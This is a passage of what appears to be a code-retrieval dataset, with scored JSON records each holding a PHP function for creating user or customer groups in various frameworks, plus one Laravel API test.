"0.7043279", "text": "public function CreateGroup() {\n $content = new CMContent();\n $form = new CFormGroupCreate($this);\n $modules = new CMModules();\n $controllers = $modules->AvailableControllers();\n if($form->Check() === false) {\n $this->AddMessage('notice', 'You must fill in all values.');\n $this->RedirectToController('CreateGroup');\n }\n $this->views->SetTitle('Create group')\n ->AddInclude(__DIR__ . '/creategroup.tpl.php', array('form' => $form->GetHTML()), 'primary')\n ->AddInclude(__DIR__ . '/../sidebar.tpl.php', array('is_authenticated'=>$this->user['isAuthenticated'],'user'=>$this->user,'controllers'=>$controllers,'contents'=>$content->ListAll(array('type'=>'post', 'order-by'=>'title', 'order-order'=>'DESC')),), 'sidebar');\n }", "title": "" }, { "docid": "d7d673b64c3a4fa0372f304f72fb4508", "score": "0.70262754", "text": "public function createGroup($group) {\n\t\t$soapMessage = array(\n\t\t\t'_this' => $this->_prepareManagedObjectReference('AccountManager'),\n\t\t\t'group' => $this->_prepareMessage('HostAccountSpec',$group,SOAP_ENC_OBJECT)\n\t\t);\n\t\t$this->getSoapClient()->CreateGroup($soapMessage);\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "9a041a6cff48a41f62de79b86494fef5", "score": "0.70204514", "text": "public function createGroup($user,$name){\n $sql = \"INSERT INTO groups (user_name, group_name, date_created) VALUES (:user, :name, now())\";\n $stmt = $this->db->pdo->prepare($sql);\n $stmt->execute([\"user\"=>$user,\"name\"=>$name]);\n $groupid = $this->db->lastInsertId();\n\n //Make the owner part of the group as well\n $sql = \"INSERT INTO group_lists (group_id, friend_id) VALUES (:groupid, :user)\";\n $stmt = $this->db->pdo->prepare($sql);\n $stmt->execute([\"user\"=>$user,\"groupid\"=>$groupid]);\n }", "title": "" }, { "docid": "0d352a4140c144bbd21b52b779745b5b", "score": "0.7014834", "text": "protected function create()\n {\n $this->db->insert(\n Constants::TABLE_GROUP,\n array($this->primaryKey[0] => NULL)\n );\n\n $this->id = $this->db->insert_id;\n $this->data[$this->primaryKey[0]] = $this->id;\n }", "title": "" }, { "docid": "f0f2a50ca63a4a09f4d26136ddcd6b86", "score": "0.6927154", "text": "public function group_create(array $params)\n\t{\n\t\t// If g_parent is not set, set default to 0 (the first group)\n\t\tif ( ! array_key_exists('g_parent', $params))\n\t\t{\n\t\t\t$params['g_parent'] = 0;\n\t\t}\t\n\t\treturn $this->call('eventarc.group.create', $params);\n\t}", "title": "" }, { "docid": "29f19754604bb77789a612df9f29b3f0", "score": "0.6909824", "text": "public function createGroup()\n\t{\n\t\tif (! $this->isAuthorized())\n\t\t{\n\t\t\treturn redirect()->to('/auth');\n\t\t}\n\n\t\t$data['title'] = lang('Auth.create_group_title');\n\n\t\t$validation = \\Config\\Services::validation();\n\n\t\t// validate form input\n\t\t$validation->setRule('group_name', lang('Auth.create_group_validation_name_label'), 'trim|required|alpha_dash');\n\n\t\tif ($this->request->getPost() && $validation->withRequest($this->request)->run())\n\t\t{\n\t\t\t$newGroupId = $this->ionAuth->createGroup($this->request->getPost('group_name'), $this->request->getPost('description'));\n\t\t\tif ($newGroupId)\n\t\t\t{\n\t\t\t\t// check to see if we are creating the group\n\t\t\t\t// redirect them back to the admin page\n\t\t\t\tsession()->setFlashdata('message', $this->ionAuth->messages());\n\t\t\t\treturn redirect()->to('/admin/users');\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// display the create group form\n\t\t\thelper(['form']);\n\t\t\t// set the flash data error message if there is one\n\t\t\t$data['message'] = $validation->getErrors() ? $validation->listErrors() : ($this->ionAuth->errors() ? $this->ionAuth->errors() : session()->getFlashdata('message'));\n\n\t\t\t$data['groupName'] = [\n\t\t\t\t'name' => 'group_name',\n\t\t\t\t'id' => 'group_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => set_value('group_name'),\n\t\t\t];\n\t\t\t$data['description'] = [\n\t\t\t\t'name' => 'description',\n\t\t\t\t'id' => 'description',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => set_value('description'),\n\t\t\t];\n\n\t\t\t$body = view('Admin\\users\\create_group', $data);\n\t\t\treturn $this->view($body, lang('Auth.create_group_title'), 'users');\n\t\t}\n\t}", "title": "" }, { "docid": "891067dd2aee7692148a01421c0b9f49", "score": "0.6909686", "text": "function CreateGroup(\n $GroupName\n ) {\n }", "title": "" }, { "docid": "a2a8ed736f7c8966264b501ca05b1490", "score": "0.6908726", "text": "public function createGroup(){\n $post = $this->_app->request->post();\n\n // DEBUG: view posted data\n //error_log(print_r($post, true));\n\n // Load the request schema\n $requestSchema = new \\Fortress\\RequestSchema($this->_app->config('schema.path') . \"/forms/group-create.json\");\n\n // Get the alert message stream\n $ms = $this->_app->alerts;\n\n // Access-controlled resource\n if (!$this->_app->user->checkAccess('create_group')){\n $ms->addMessageTranslated(\"danger\", \"ACCESS_DENIED\");\n $this->_app->halt(403);\n }\n\n // Set up Fortress to process the request\n $rf = new \\Fortress\\HTTPRequestFortress($ms, $requestSchema, $post);\n\n // Sanitize data\n $rf->sanitize();\n\n // Validate, and halt on validation errors.\n $error = !$rf->validate(true);\n\n // Get the filtered data\n $data = $rf->data();\n\n // Remove csrf_token from object data\n $rf->removeFields(['csrf_token']);\n\n // Perform desired data transformations on required fields.\n $data['name'] = trim($data['name']);\n $data['new_user_title'] = trim($data['new_user_title']);\n $data['landing_page'] = strtolower(trim($data['landing_page']));\n $data['theme'] = trim($data['theme']);\n $data['can_delete'] = 1;\n\n // Check if group name already exists\n if (Group::where('name', $data['name'])->first()){\n $ms->addMessageTranslated(\"danger\", \"GROUP_NAME_IN_USE\", $post);\n $error = true;\n }\n\n // Halt on any validation errors\n if ($error) {\n $this->_app->halt(400);\n }\n\n // Set default values if not specified or not authorized\n if (!isset($data['theme']) || !$this->_app->user->checkAccess(\"update_group_setting\", [\"property\" => \"theme\"]))\n $data['theme'] = \"default\";\n\n if (!isset($data['new_user_title']) || !$this->_app->user->checkAccess(\"update_group_setting\", [\"property\" => \"new_user_title\"])) {\n // Set default title for new users\n $data['new_user_title'] = \"New User\";\n }\n\n if (!isset($data['landing_page']) || !$this->_app->user->checkAccess(\"update_group_setting\", [\"property\" => \"landing_page\"])) {\n $data['landing_page'] = \"dashboard\";\n }\n\n if (!isset($data['icon']) || !$this->_app->user->checkAccess(\"update_group_setting\", [\"property\" => \"icon\"])) {\n $data['icon'] = \"fa fa-user\";\n }\n\n if (!isset($data['is_default']) || !$this->_app->user->checkAccess(\"update_group_setting\", [\"property\" => \"is_default\"])) {\n $data['is_default'] = \"0\";\n }\n\n // Create the group\n $group = new Group($data);\n\n // Store new group to database\n $group->store();\n\n // Success message\n $ms->addMessageTranslated(\"success\", \"GROUP_CREATION_SUCCESSFUL\", $data);\n }", "title": "" }, { "docid": "6db73812d3250cd89507fa02ac60865a", "score": "0.68733126", "text": "public function formGroupCreate(){\n // Access-controlled resource\n if (!$this->_app->user->checkAccess('create_group')){\n $this->_app->notFound();\n }\n\n $get = $this->_app->request->get();\n\n if (isset($get['render']))\n $render = $get['render'];\n else\n $render = \"modal\";\n\n // Get a list of all themes\n $theme_list = $this->_app->site->getThemes();\n\n // Set default values\n $data['is_default'] = \"0\";\n // Set default title for new users\n $data['new_user_title'] = \"New User\";\n // Set default theme\n $data['theme'] = \"default\";\n // Set default icon\n $data['icon'] = \"fa fa-user\";\n // Set default landing page\n $data['landing_page'] = \"dashboard\";\n\n // Create a dummy Group to prepopulate fields\n $group = new Group($data);\n\n if ($render == \"modal\")\n $template = \"components/common/group-info-modal.twig\";\n else\n $template = \"components/common/group-info-panel.twig\";\n\n // Determine authorized fields\n $fields = ['name', 'new_user_title', 'landing_page', 'theme', 'is_default', 'icon'];\n $show_fields = [];\n $disabled_fields = [];\n foreach ($fields as $field){\n if ($this->_app->user->checkAccess(\"update_group_setting\", [\"property\" => $field]))\n $show_fields[] = $field;\n else\n $disabled_fields[] = $field;\n }\n\n // Load validator rules\n $schema = new \\Fortress\\RequestSchema($this->_app->config('schema.path') . \"/forms/group-create.json\");\n $this->_app->jsValidator->setSchema($schema);\n\n $this->_app->render($template, [\n \"box_id\" => $get['box_id'],\n \"box_title\" => \"New Group\",\n \"submit_button\" => \"Create group\",\n \"form_action\" => $this->_app->site->uri['public'] . \"/groups\",\n \"group\" => $group,\n \"themes\" => $theme_list,\n \"fields\" => [\n \"disabled\" => $disabled_fields,\n \"hidden\" => []\n ],\n \"buttons\" => [\n \"hidden\" => [\n \"edit\", \"delete\"\n ]\n ],\n \"validators\" => $this->_app->jsValidator->rules()\n ]);\n }", "title": "" }, { "docid": "3ab9b3185f0cc4d578355ab87f4baf52", "score": "0.6873302", "text": "function create_new_group($name, $isAClass = FALSE, $studentsList = array(), $linkedGroupsList = array())\n{\n\t$group = new Group($name, $isAClass);\n\t$sql_error = Database::currentDB()->sqlErrorMessage;\n\n\tif ($sql_error != \"\")\n\t{\n\t\treturn \"\";\n\t}\n\n\tif ($group->getSqlId() == NULL)\n\t{\n\t\treturn \"\";\n\t}\n\n\tif (is_array($studentList))\n\t{\n\t\t$group->setStudentsList($studentList);\n\t}\n\n\t$sql_error = Database::currentDB()->sqlErrorMessage;\n\n\tif ($sql_error != \"\")\n\t{\n\t\treturn \"\";\n\t}\n\n\tif (is_array($linkedGroupsList))\n\t{\n\t\t$group->setLinkedGroupsList($linkedGroupsList);\n\t}\n\n\t$sql_error = Database::currentDB()->sqlErrorMessage;\n\n\tif ($sql_error != \"\")\n\t{\n\t\treturn \"\";\n\t}\n\n\treturn json_encode($group->to_array());\n}", "title": "" }, { "docid": "2449af4edd41e73276f641d8eda16430", "score": "0.68725944", "text": "public function newAction()\n {\n $this->_initGroup();\n $this->loadLayout();\n $this->_setActiveMenu('customer/group');\n $this->_addBreadcrumb(Mage::helper('customer')->__('Customers'), Mage::helper('customer')->__('Customers'));\n $this->_addBreadcrumb(Mage::helper('customer')->__('Customer Groups'), Mage::helper('customer')->__('Customer Groups'), $this->getUrl('*/customer_group'));\n\n $currentGroup = Mage::registry('current_group');\n\n if (!is_null($currentGroup->getId())) {\n $this->_addBreadcrumb(Mage::helper('customer')->__('Edit Group'), Mage::helper('customer')->__('Edit Customer Groups'));\n } else {\n $this->_addBreadcrumb(Mage::helper('customer')->__('New Group'), Mage::helper('customer')->__('New Customer Groups'));\n }\n\n $this->_title($currentGroup->getId() ? $currentGroup->getCode() : $this->__('New Group'));\n\n $this->getLayout()->getBlock('content')\n ->append($this->getLayout()->createBlock('adminhtml/customer_group_edit', 'group')\n ->setEditMode((bool)Mage::registry('current_group')->getId()));\n\n $this->renderLayout();\n }", "title": "" }, { "docid": "7417cb52c0a025ca09a75f0e048d52c5", "score": "0.68720084", "text": "public function saveNewGroupAction()\n {\n \n $params = Zend_Json_Decoder::decode($this->request->getParam('groups'));\n $groupModel = new Admin_Model_DbTable_Groups;\n $groupRow = $groupModel->fetchRowByGroupName(strtolower($params['name']));\n\n IF(!$groupRow) {\n $groupModel->insert($params['name'], $params['description']);\n RETURN $this->responseSuccess();\n }\n RETURN $this->responseFailure('Failed saving informations', 'The group name is already used');\n }", "title": "" }, { "docid": "3bb3a16451f068ad23a777f83f1c890a", "score": "0.6853315", "text": "public function DoCreateGroup($form) { \n $acp = new CMAdminControlPanel();\n if($acp->CreateGroup($form['acronym']['value'], \n $form['name']['value']\n )) {\n $this->AddMessage('success', \"You have successfully created the group {$form['name']['value']}.\");\n $this->RedirectToController('groups');\n } else {\n $this->AddMessage('notice', \"Failed to create an account.\");\n $this->RedirectToController('creategroup');\n }\n }", "title": "" }, { "docid": "6d48642a9d253b8f502ba50ba89f367f", "score": "0.6840597", "text": "public function testCreateGroup()\n {\n // Seed Database for roles\n \\Artisan::call('migrate:refresh',['--seed' => true]);\n\n // Grant permission to user to make request\n $role = \\Phoenix\\Models\\Auth\\Role::whereName('records')->first();\n $user = \\Phoenix\\Models\\User::create(['email' => '[email protected]','password'=>bcrypt('helloworld')]);\n $user->attachRole($role);\n\n // Make call to API and test\n $this->actingAs($user,'api')->json('POST', 'api/unit/groups',\n [\n 'name' => 'Special Forces Group',\n 'order' => 5\n ])\n ->seeJson(\n [\n 'name' => 'Special Forces Group',\n 'order' => 5,\n ]);\n }", "title": "" }, { "docid": "078070b1c8ed87826f345edd443e1216", "score": "0.6827526", "text": "private function group_add() {\n\t\tGLOBAL $db, $MYSQL_PREFIX;\n\t\t$sql = sprintf(\"INSERT INTO {$MYSQL_PREFIX}groupnames (groupname) VALUES ('%s')\",\n\t\t\tmysql_real_escape_string($_REQUEST['newgroup'])\n\t\t);\n\t\t$request = mysql_query($sql, $db);\n\t\tif ( $request ) {\n\t\t\tthrower(\"Group \\\"{$_REQUEST['newgroup']}\\\" Added\");\n\t\t} else {\n\t\t\tthrower(\"Group Add :: Operation Failed\");\n\t\t}\n\t}", "title": "" }, { "docid": "83e57bad85ab4306f561658c22cf62a5", "score": "0.6810513", "text": "function add_group()\n\t\t{\n\t\tif($this->data['module_write'] == 'Y' OR $this->ion_auth->is_admin())\n\t\t\t{\n\t\t\t//set the flash data error message if there is one\n\t\t\t$data['message'] = (validation_errors()) ? validation_errors() : $this->session->flashdata('message');\n\n\t\t\t$this->form_validation->set_rules('name', 'name', 'required|xss_clean');\n\t\t\t$this->form_validation->set_rules('description', 'description', 'required|xss_clean');\n\t\t\tif($this->form_validation->run() == FALSE)\n\t\t\t\t{\n\t\t\t\tif(isset($_POST['name']))\n\t\t\t\t\t{\n\t\t\t\t\tredirect('user_admin/#tabs-4');\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t$data['heading'] = $this->lang->line('label_add_group');\n\t\t\t\t\t$data['template_path'] = $this->config->item('template_admin_page');\n\t\t\t\t\t$this->load->view($data['template_path'] . '/auth/add_group', $data);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t{\n\t\t\t\t$this->ion_auth->add_group();\n\t\t\t\tredirect('user_admin/#tabs-3');\n\t\t\t\t}\n\t\t\t}\n\t\telse\n\t\t\t{\n\t\t\techo \"access denied\";\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "b8e65028e414ddfde8d1ea3445ac1e06", "score": "0.67947453", "text": "public function createAction()\n {\n if (!$this->_helper->requireUser->isValid()) return;\n $viewer = Engine_Api::_()->user()->getViewer();\n\n // Check authorization to create group.\n if (!$this->_helper->requireAuth()->setAuthParams('group', null, 'create')->isValid()) return;\n\n // Navigation\n $this->view->navigation = $navigation = Engine_Api::_()->getApi('menus', 'core')\n ->getNavigation('advgroup_main');\n\n $this->_helper->content\n //->setNoRender()\n ->setEnabled();\n\n // Create Form\n if ($this->_getParam('parent') && is_numeric($this->_getParam('parent'))) {\n $this->view->form = $form = new Advgroup_Form_Create(array('parent_id' => $this->_getParam('parent')));\n } else {\n $this->view->form = $form = new Advgroup_Form_Create();\n }\n\n if ($this->_getParam('parent')) {\n $form->removeElement('auth_sub_group');\n $parent_id = $this->_getParam('parent');\n if (is_numeric($parent_id)) {\n $parent_group = Engine_Api::_()->advgroup()->getParent($parent_id);\n if (!$parent_group || $parent_group->is_subgroup) {\n return $this->_helper->requireSubject->forward();\n } else if (!$parent_group->membership()->isMember($viewer) || !$parent_group->authorization()->isAllowed(null, 'sub_group')) {\n return $this->_helper->requireAuth->forward();\n }\n $subGroupNum = Engine_Api::_()->advgroup()->getNumberValue('group', $viewer->level_id, 'numberSubgroup');\n if ($parent_group->countSubGroups() >= $subGroupNum) {\n $this->view->errorMessage = $this->view->translate(\"You have reached the limit of sub group.\");\n return;\n }\n }\n }\n\n $arrPlugins = array('ynwiki' => 'auth_wiki', 'ynevent' => 'auth_event', 'ynlistings' => 'auth_listing');\n foreach ($arrPlugins as $key => $permission) {\n if (!Engine_Api::_()->advgroup()->checkYouNetPlugin($key)) {\n $form->removeElement($permission);\n }\n }\n\n if (!Engine_Api::_()->advgroup()->checkYouNetPlugin('ynfilesharing')) {\n $form->removeElement('auth_folder');\n $form->removeElement('auth_file_upload');\n $form->removeElement('auth_file_down');\n }\n\n $music_enable = Engine_Api::_()->advgroup()->checkYouNetPlugin('music');\n $mp3music_enable = Engine_Api::_()->advgroup()->checkYouNetPlugin('mp3music');\n $socialmusic_enable = Engine_Api::_()->hasModuleBootstrap('ynmusic');\n if (!$music_enable && !$mp3music_enable & !$socialmusic_enable) {\n $form->removeElement('auth_music');\n }\n\n // Populate category list.\n $categories = Engine_Api::_()->getDbtable('categories', 'advgroup')->getAllCategoriesAssoc();\n $form->category_id->setMultiOptions($categories);\n\n if (count($form->category_id->getMultiOptions()) <= 1) {\n $form->removeElement('category_id');\n }\n\n // Check method and data validity.\n if (!$this->getRequest()->isPost()) {\n return;\n }\n if (!$form->isValid($this->getRequest()->getPost())) {\n return;\n }\n\n // Process\n $values = $form->getValues();\n\n $values['location'] = Zend_Json::encode(array(\n 'location' => $values['location_address'],\n 'latitude' => $values['lat'],\n 'longitude' => $values['long'],\n ));\n $values['latitude'] = $values['lat'];\n $values['longitude'] = $values['long'];\n $values['user_id'] = $viewer->getIdentity();\n if ($this->_getParam('parent') && is_numeric($this->_getParam('parent'))) {\n $values['is_subgroup'] = 1;\n $values['parent_id'] = $this->_getParam('parent');\n }\n $db = Engine_Api::_()->getDbtable('groups', 'advgroup')->getAdapter();\n $db->beginTransaction();\n\n try {\n // Create group\n $table = Engine_Api::_()->getDbtable('groups', 'advgroup');\n $group = $table->createRow();\n $group->setFromArray($values);\n $group->save();\n\n if (isset($group->advgroup_id)) {\n $group->advgroup_id = $group->getIdentity();\n $group->save();\n }\n\n // Add tags\n $tags = preg_split('/[,]+/', $values['tags']);\n $group->tags()->addTagMaps($viewer, $tags);\n\n $search_table = Engine_Api::_()->getDbTable('search', 'core');\n $select = $search_table->select()\n ->where('type = ?', 'group')\n ->where('id = ?', $group->getIdentity());\n $row = $search_table->fetchRow($select);\n if ($row) {\n $row->keywords = $values['tags'];\n $row->save();\n } else {\n $row = $search_table->createRow();\n $row->type = 'group';\n $row->id = $group->getIdentity();\n $row->title = $group->title;\n $row->description = $group->description;\n $row->keywords = $values['tags'];\n $row->save();\n }\n\n // Add owner as member\n $group->membership()->addMember($viewer)\n ->setUserApproved($viewer)\n ->setResourceApproved($viewer);\n\n // Set photo\n if (!empty($values['photo'])) {\n $group->setPhoto($form->photo);\n }\n\n // Add Cover photo\n if (!empty($values['cover_thumb'])) {\n $group->setCoverPhoto($form->cover_thumb);\n }\n // Add fields\n $customfieldform = $form->getSubForm('fields');\n $customfieldform->setItem($group);\n $customfieldform->saveValues();\n\n // Process privacy\n $auth = Engine_Api::_()->authorization()->context;\n\n $roles = array(\n 'owner',\n 'officer',\n 'member',\n 'registered',\n 'everyone'\n );\n\n if (empty($values['auth_view'])) {\n $values['auth_view'] = 'everyone';\n }\n\n if (empty($values['auth_comment'])) {\n $values['auth_comment'] = 'registered';\n }\n\n if (empty($values['auth_poll'])) {\n $values['auth_poll'] = 'member';\n }\n\n if (empty($values['auth_event'])) {\n $values['auth_event'] = 'registered';\n }\n\n if (empty($values['auth_sub_group'])) {\n $values['auth_sub_group'] = 'member';\n }\n\n if (empty($values['auth_video'])) {\n $values['auth_video'] = 'member';\n }\n\n if (empty($values['auth_wiki'])) {\n $values['auth_wiki'] = 'member';\n }\n\n if (empty($values['auth_music'])) {\n $values['auth_music'] = 'member';\n }\n\n if (empty($values['auth_listing'])) {\n $values['auth_listing'] = 'member';\n }\n\n if (empty($values['auth_folder'])) {\n $values['auth_folder'] = 'member';\n }\n\n if (empty($values['auth_file_upload'])) {\n $values['auth_file_upload'] = 'member';\n }\n\n if (empty($values['auth_file_down'])) {\n $values['auth_file_down'] = 'member';\n }\n\n\n $viewMax = array_search($values['auth_view'], $roles);\n $commentMax = array_search($values['auth_comment'], $roles);\n $photoMax = array_search($values['auth_photo'], $roles);\n $groupMax = array_search($values['auth_event'], $roles);\n $pollMax = array_search($values['auth_poll'], $roles);\n $inviteMax = array_search($values['auth_invite'], $roles);\n $subGroupMax = array_search($values['auth_sub_group'], $roles);\n $videoMax = array_search($values['auth_video'], $roles);\n $wikiMax = array_search($values['auth_wiki'], $roles);\n $musicMax = array_search($values['auth_music'], $roles);\n $folderMax = array_search($values['auth_folder'], $roles);\n $fileuploadMax = array_search($values['auth_file_upload'], $roles);\n $filedownloadMax = array_search($values['auth_file_down'], $roles);\n $listingMax = array_search($values['auth_listing'], $roles);\n\n $officerList = $group->getOfficerList();\n\n foreach ($roles as $i => $role) {\n if ($role === 'officer') {\n $role = $officerList;\n }\n $auth->setAllowed($group, $role, 'view', ($i <= $viewMax));\n $auth->setAllowed($group, $role, 'comment', ($i <= $commentMax));\n $auth->setAllowed($group, $role, 'photo', ($i <= $photoMax));\n $auth->setAllowed($group, $role, 'event', ($i <= $groupMax));\n $auth->setAllowed($group, $role, 'poll', ($i <= $pollMax));\n $auth->setAllowed($group, $role, 'invite', ($i <= $inviteMax));\n $auth->setAllowed($group, $role, 'sub_group', ($i <= $subGroupMax));\n $auth->setAllowed($group, $role, 'video', ($i <= $videoMax));\n $auth->setAllowed($group, $role, 'wiki', ($i <= $wikiMax));\n $auth->setAllowed($group, $role, 'music', ($i <= $musicMax));\n $auth->setAllowed($group, $role, 'folder', ($i <= $folderMax));\n $auth->setAllowed($group, $role, 'file_upload', ($i <= $fileuploadMax));\n $auth->setAllowed($group, $role, 'file_down', ($i <= $filedownloadMax));\n $auth->setAllowed($group, $role, 'listing', ($i <= $listingMax));\n }\n\n // Create some auth stuff for all officers\n $auth->setAllowed($group, $officerList, 'edit', 1);\n $auth->setAllowed($group, $officerList, 'style', 1);\n $auth->setAllowed($group, $officerList, 'photo.edit', 1);\n $auth->setAllowed($group, $officerList, 'announcement', 1);\n $auth->setAllowed($group, $officerList, 'sponsor', 1);\n $auth->setAllowed($group, $officerList, 'invitation', 1);\n $auth->setAllowed($group, $officerList, 'file.edit', 1);\n $auth->setAllowed($group, $officerList, 'member.edit', 1);\n $auth->setAllowed($group, $officerList, 'topic.edit', 1);\n $auth->setAllowed($group, $officerList, 'poll.edit', 1);\n\n\n // Add auth for invited users\n $auth->setAllowed($group, 'member_requested', 'view', 1);\n\n // Add action\n $activityApi = Engine_Api::_()->getDbtable('actions', 'activity');\n\n if ($group->is_subgroup) {\n $parent_group = $group->getParentGroup();\n $action = $activityApi->addActivity($viewer, $parent_group, 'advgroup_sub_create');\n } else {\n $action = $activityApi->addActivity($viewer, $group, 'advgroup_create');\n }\n if ($action) {\n $activityApi->attachActivity($action, $group);\n }\n // Commit\n $db->commit();\n\n // Redirect\n return $this->_helper->redirector->gotoRoute(array('id' => $group->getIdentity()), 'group_profile', true);\n } catch (Engine_Image_Exception $e) {\n $db->rollBack();\n $form->addError(Zend_Registry::get('Zend_Translate')->_('The image you selected was too large.'));\n } catch (Exception $e) {\n $db->rollBack();\n throw $e;\n }\n }", "title": "" }, { "docid": "c6b2ec1aa679fd33732dfd10bdb54a2e", "score": "0.67746264", "text": "public function actionCreate() {\n\t\t$model = new CalendarGroup();\n\t\t$model->date = date('Y-m-d');\n\t\t$user = Yii::$app->user->identity;\n\t\t$notify = Yii::$app->notify;\n\t\t$model->created_by = Yii::$app->user->identity->id;\n\n\t\tif ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n\t\t\tif (!empty($model->assign_to)) {\n\t\t\t\tforeach ($model->assign_to as $key => $value) {\n\t\t\t\t\t$assign = new CalenderGroupAssignee();\n\t\t\t\t\t$assign->group_id = $model->id;\n\t\t\t\t\t$assign->user_id = $value;\n\t\t\t\t\t$assign->save();\n\t\t\t\t\tif ($assign->user_id != $user->id) {\n\t\t\t\t\t\t$notify->addNotify($assign->user_id, 1, 'calendar/index', $model['id'], 'A new Calendar Group has assigned to you', 'assign_calender_group');\n\t\t\t\t\t\t$notify->addRecentActivity('assigned', 'Calendar Group', $model->id, $assign->user_id, $model->title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tYii::$app->getSession()->setFlash('groupStatus', 'Group added successfully!');\n\t\t\treturn $this->redirect(Yii::$app->request->referrer);\n\t\t}\n\n\t\treturn $this->renderAjax('create', [\n\t\t\t'model' => $model,\n\t\t]);\n\t}", "title": "" }, { "docid": "b3ec9d686f5f776e498d17e81e6e9fcd", "score": "0.67737937", "text": "public function create()\n {\n //create new groups\n $newGroup=Groups::all();\n return $newGroup;\n }", "title": "" }, { "docid": "657ab9861e0197f6a73df2486d9e1d1b", "score": "0.6768323", "text": "public function create()\n\t{\n\t\treturn view('admin.groups.create');\n\t}", "title": "" }, { "docid": "6bacb399ea9cbe630d86687cfee21289", "score": "0.67482793", "text": "public function createAction()\n {\n\n if (!$this->request->isPost()) {\n return $this->dispatcher->forward(array(\n \"controller\" => \"groups\",\n \"action\" => \"index\"\n ));\n }\n\n $group = new Groups();\n\n $group->setName($this->request->getPost(\"name\"));\n $group->setNote($this->request->getPost(\"note\"));\n\n if (!$group->save()) {\n foreach ($group->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n return $this->dispatcher->forward(array(\n \"controller\" => \"groups\",\n \"action\" => \"new\"\n ));\n }\n\n $this->flash->success(\"group was created successfully\");\n\n return $this->dispatcher->forward(array(\n \"controller\" => \"groups\",\n \"action\" => \"index\"\n ));\n\n }", "title": "" }, { "docid": "7cd36292b2fc4a54860e53c5bbf03506", "score": "0.67465377", "text": "public function create()\n {\n //\n return view('group.creategroup');\n }", "title": "" }, { "docid": "afa98e2d4e3735f28b7659ecefb09a01", "score": "0.6727696", "text": "function create_screen($group_id = null) {\n $bp = buddypress();\n if ( !bp_is_group_creation_step($this->slug) ) {\n return false;\n }\n $this->edit_create_markup($bp->groups->new_group_id);\n wp_nonce_field('groups_create_save_' . $this->slug);\n }", "title": "" }, { "docid": "10d2015fafb0cdd0fc68f0b46c191fed", "score": "0.6707935", "text": "public function addNewGroup() {\n $h_id = $this->input->post(\"txtOrgId\");\n $group_name = $this->input->post(\"txtGroupName\");\n $attr = array(\n \"ORG_ID\" => $h_id,\n \"USERGRP_NAME\" => $group_name,\n \"ACTIVE_STATUS\" => isset($_POST['ACTIVE_STATUS']) ? 1 : 0,\n \"ENTERED_BY\" => $this->user_session[\"USER_ID\"],\n );\n $rs = $this->utilities->insertData($attr, \"sa_user_group\");\n if ($rs == TRUE) {\n $this->session->set_flashdata('Success', 'User Group Created Successfully.');\n redirect('dashboard/securityAccess/allGroup', 'refresh');\n } else {\n $this->session->set_flashdata('Error', 'User Group Create Failled.');\n redirect('dashboard/securityAccess/allGroup', 'refresh');\n }\n }", "title": "" }, { "docid": "d9f84137086e758dfd1ba4261ed80cc8", "score": "0.66407156", "text": "function addGroup() {\n }", "title": "" }, { "docid": "759ecfd4d5d511fbcad66484d2b503a0", "score": "0.66236365", "text": "public function create()\n {\n $this->title['child'] = trans('groups::global.New');\n $model = $this->repository->getModel();\n $this->layout->content = View::make('admin.groups.create')\n ->withModel($model);\n }", "title": "" }, { "docid": "32c289961242372540413f8fe034199d", "score": "0.66220796", "text": "function usergroups_create(){\r\n\t\t//POST varible here\r\n\t\t//auto increment, don't accept anything from form values\r\n\t\t$group_name=trim(@$_POST[\"group_name\"]);\r\n\t\t$group_name=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$group_name);\r\n\t\t$group_name=str_replace(\"'\", '\"',$group_name);\r\n\t\t$group_desc=trim(@$_POST[\"group_desc\"]);\r\n\t\t$group_desc=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$group_desc);\r\n\t\t$group_desc=str_replace(\"'\", '\"',$group_desc);\r\n\t\t$group_active=trim(@$_POST[\"group_active\"]);\r\n\t\t$group_active=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$group_active);\r\n\t\t$group_active=str_replace(\"'\", '\"',$group_active);\r\n\t\t$result=$this->m_usergroups->usergroups_create($group_name ,$group_desc ,$group_active );\r\n\t\techo $result;\r\n\t}", "title": "" }, { "docid": "d0b61a37dacbe785ae5842ccb76208c6", "score": "0.66201425", "text": "public function create()\n {\n return view('admin.groups.create')->withGroup(new Group);\n }", "title": "" }, { "docid": "ab4c76a6b20e78b600df12730001942e", "score": "0.66166747", "text": "function d4os_io_db_os_group_grid_create($params) {\n $node_type = variable_get('d4os_ui_groups_type', NULL);\n // get the user\n $account = module_invoke_all('os_user_load', array('UUID' => $params['FounderID']));\n $account = $account[0];\n $account = user_load(array('name' => $account->username. ' '. $account->lastname));\n // build the node\n $node = new stdClass;\n $node->uid = $account->uid;\n $node->type = $node_type;\n $node->title = $params['Name'];\n $node->body = $params['Charter'];\n $node->status = 1;\n $node->og_description = $params['Name'];\n $node->og_selective = $params['OpenEnrollment'];\n $node->og_register = 0;\n $node->og_directory = $params['AllowPublish'];\n $node->og_private = $params['OpenEnrollment'];\n $node->og_theme = NULL;\n $node->inworld = TRUE;\n node_save($node);\n db_query(\"INSERT INTO {d4os_ui_groups} (nid, GroupID) VALUES (%d, '%s')\", array($node->nid, $params['GroupID']));\n global $logLevel;\n if ($logLevel > 6) {\n $log = array();\n $log[] = array(\n 'name' => 'function call',\n 'type' => 'string',\n 'data' => 'os_group_grid_create',\n );\n $log[] = array(\n 'name' => 'input values',\n 'type' => 'array',\n 'data' => $params,\n );\n $log[] = array(\n 'name' => 'user',\n 'type' => 'array',\n 'data' => $account,\n );\n $log[] = array(\n 'name' => 'output values',\n 'type' => 'array',\n 'data' => $node,\n );\n d4os_log('d4os_group', $log, WATCHDOG_DEBUG);\n }\n}", "title": "" }, { "docid": "38d249019f35dec6341272affb68c160", "score": "0.65959126", "text": "public static function createGroup(Request $request){\n $group = new \\App\\Group;\n $group->group_name = $request->input('group_name');\n if($request->visibility[0] == \"1\")\n 